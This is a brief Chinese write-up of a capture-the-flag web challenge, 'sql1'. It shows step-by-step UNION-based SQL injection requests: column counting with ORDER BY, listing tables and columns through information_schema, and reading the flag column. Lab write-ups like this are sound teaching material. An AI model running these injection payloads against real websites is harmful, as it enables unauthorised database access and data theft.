Skip to content

【Web Security】sql1

About 245 wordsLess than 1 minute

security

2023-11-24

005 sql1

  1. 拦截浏览器GET请求,点击Action,然后Send to repeater。传入不同的id值可以看到相应的输出,判断可以通过id进行注入。

image.png

  1. 使用order by子句判断返回的列数。当order by4时,界面无回显、值为3时有回显。所以后端返回的列数应该是3

image.png

  1. 判断后端返回的前端显示的格式GET /?id=-1 union select 1,2,3 HTTP/1.1

image.png

  1. 注入出当前数据库所有的表名GET /?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) HTTP/1.1。发现有个表名为flag。

image.png

  1. 注入出flag表中的全部列名GET /?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='flag') HTTP/1.1。发现有个列名flag。

image.png

  1. 查询flag表的flag列GET /?id=-1 union select 1,2,(select flag from flag) HTTP/1.1。获取flag!

image.png